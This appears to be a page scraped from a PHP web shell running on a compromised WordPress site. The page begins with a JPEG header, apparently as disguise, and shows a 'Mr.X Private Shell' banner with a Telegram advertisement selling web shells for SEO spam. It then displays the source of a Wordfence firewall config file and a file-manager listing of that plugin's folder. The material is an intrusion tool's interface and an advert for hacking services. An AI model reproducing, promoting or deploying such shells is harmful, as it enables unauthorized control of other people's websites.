����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {
/**
* Class wfWAFConfig provides a convenience interface for accessing the WAF's configuration
* that does not throw exceptions. All exceptions are caught and, if WFWAF_DEBUG is true, logged
* to the server error log.
*/
class wfWAFConfig {
public static function set($key, $val, $waf = null, $category = '') {
if (!($waf instanceof wfWAF)) {
$waf = wfWAF::getInstance();
}
try {
$waf->getStorageEngine()->setConfig($key, $val, $category);
}
catch (Exception $e) {
if (WFWAF_DEBUG) {
error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
}
}
}
public static function get($key, $default = null, $waf = null, $category = '') {
if (!($waf instanceof wfWAF)) {
$waf = wfWAF::getInstance();
}
try {
return $waf->getStorageEngine()->getConfig($key, $default, $category);
}
catch (Exception $e) {
if (WFWAF_DEBUG) {
error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
}
}
return $default;
}
public static function unsetKey($key, $waf = null, $category = '') {
if (!($waf instanceof wfWAF)) {
$waf = wfWAF::getInstance();
}
try {
$waf->getStorageEngine()->unsetConfig($key, $category);
}
catch (Exception $e) {
if (WFWAF_DEBUG) {
error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
}
}
}
public static function isInLearningMode($waf = null) {
if (!($waf instanceof wfWAF)) {
$waf = wfWAF::getInstance();
}
try {
return $waf->getStorageEngine()->isInLearningMode();
}
catch (Exception $e) {
if (WFWAF_DEBUG) {
error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
}
}
return false;
}
public static function isDisabled($waf = null) {
if (!($waf instanceof wfWAF)) {
$waf = wfWAF::getInstance();
}
try {
return $waf->getStorageEngine()->isDisabled();
}
catch (Exception $e) {
if (WFWAF_DEBUG) {
error_log("Exception in " . __CLASS__ . "->" . __FUNCTION__ . ": " . $e->getMessage());
}
}
return true;
}
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| parser | Folder | 0755 |
|
|
| storage | Folder | 0755 |
|
|
| api.php | File | 1.73 KB | 0644 |
|
| config.php | File | 2.14 KB | 0644 |
|
| http.php | File | 10.53 KB | 0644 |
|
| i18n.php | File | 1.4 KB | 0644 |
|
| json.php | File | 30.21 KB | 0644 |
|
| request.php | File | 32.58 KB | 0644 |
|
| rules.php | File | 45.7 KB | 0644 |
|
| shutdown.php | File | 1.29 KB | 0644 |
|
| storage.php | File | 1.85 KB | 0644 |
|
| utils.php | File | 41.19 KB | 0644 |
|
| view.php | File | 2.27 KB | 0644 |
|
| waf.php | File | 69.63 KB | 0644 |
|
| xmlrpc.php | File | 8.99 KB | 0644 |
|